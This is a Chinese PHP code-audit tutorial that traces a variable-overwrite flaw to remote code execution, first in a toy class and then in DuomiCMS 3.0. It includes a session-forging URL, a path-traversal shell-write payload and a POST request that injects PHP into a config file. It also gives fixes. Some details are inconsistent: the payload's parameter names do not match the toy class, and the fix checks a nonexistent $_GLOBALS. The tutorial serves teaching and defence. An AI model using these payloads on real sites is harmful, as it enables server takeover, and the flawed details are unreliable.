[红日安全]代码审计Day14 - 从变量覆盖到getshell
字数 1012 2025-08-18 11:37:42
PHP代码审计:从变量覆盖到GetShell漏洞分析与利用
1. 漏洞概述
本教学文档将详细分析从变量覆盖漏洞到最终实现GetShell的完整过程,基于红日安全团队提供的案例和DuomiCMS 3.0的实际漏洞。
2. 基础概念
2.1 变量覆盖漏洞
变量覆盖漏洞是指攻击者能够通过某种方式覆盖程序中已定义的变量值,通常由于不安全的变量注册机制导致。
2.2 路径穿越
路径穿越(Path Traversal)允许攻击者通过特殊字符序列(如../)访问或操作文件系统中本不应被访问的位置。
3. 示例代码分析
3.1 Snowman示例代码
class Carrot {
var $kw;
var $v = "set";
function __construct($key, $value) {
foreach($_GET as $key => $value) {
$this->$key = $value;
}
}
function __destruct() {
$file = '/tmp/'.$this->kw;
file_put_contents($file, $this->v);
}
}
new Carrot('kw', 'v');
3.2 漏洞点分析
- 变量覆盖:第10-11行的构造函数将
$_GET数组直接注册为类属性,可以覆盖第8行已定义的$this->kw和$this->v - 路径穿越:第16行
file_put_contents的文件路径由用户可控的$this->kw拼接而成 - 文件写入:写入内容由
$this->v控制
3.3 利用Payload
?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//
4. 实际案例分析:DuomiCMS 3.0
4.1 全局变量注册问题
duomiphp/common.php中的代码:
foreach($_REQUEST as $_k=>$_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) ) {
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request) {
foreach(
$$
_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
_RunMagicQuotes函数使用addslashes进行转义处理。
4.2 文件写入点
admin/admin_ping.php中存在可利用的写文件代码:
$weburl = $_POST['weburl'];
$token = $_POST['token'];
$data = "<?php\n";
$data .= "\$weburl = \"$weburl\";\n";
$data .= "\$token = \"$token\";\n";
$data .= "?>";
$file = dirname(__FILE__)."/../../duomiphp/common.inc.php";
$fp = fopen($file,"w");
fwrite($fp,$data);
fclose($fp);
4.3 身份认证绕过
duomiphp/check.admin.php中的认证检查:
if(!isset($_SESSION['duomi_user_name'])) {
header("Location: login.php");
exit();
}
通过变量覆盖伪造session:
http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
4.4 完整利用流程
- 利用变量覆盖伪造管理员session
- 访问
admin/admin_ping.php写入WebShell - POST数据包示例:
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
weburl=";phpinfo();//&token=
5. 防御措施
5.1 修复方案
- 禁止注册超全局变量:
foreach(Array('_GET','_POST','_COOKIE') as $_request) {
foreach(
$$
_request as $_k => $_v) {
if(isset($_GLOBALS[$_k])) {
die('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
- 严格过滤文件路径:
$file = realpath(dirname(__FILE__)."/../../duomiphp/common.inc.php");
if(strpos($file, '/duomiphp/') === false) {
die('Invalid file path!');
}
- 加强身份验证:
if($_SESSION['duomi_admin_'] != 1 || $_SESSION['duomi_group_'] != 1) {
die('Access denied!');
}
5.2 最佳实践
- 避免使用
extract()、parse_str()等可能导致变量覆盖的函数 - 对用户输入进行严格的白名单验证
- 使用绝对路径并检查路径合法性
- 关键操作增加二次验证
- 最小权限原则运行Web服务
6. 总结
本教学文档详细分析了从变量覆盖漏洞到GetShell的完整利用链,通过Snowman示例代码和DuomiCMS 3.0实际案例,展示了漏洞的产生原理、利用方法和防御措施。理解这类漏洞有助于开发更安全的PHP应用程序和进行有效的代码审计。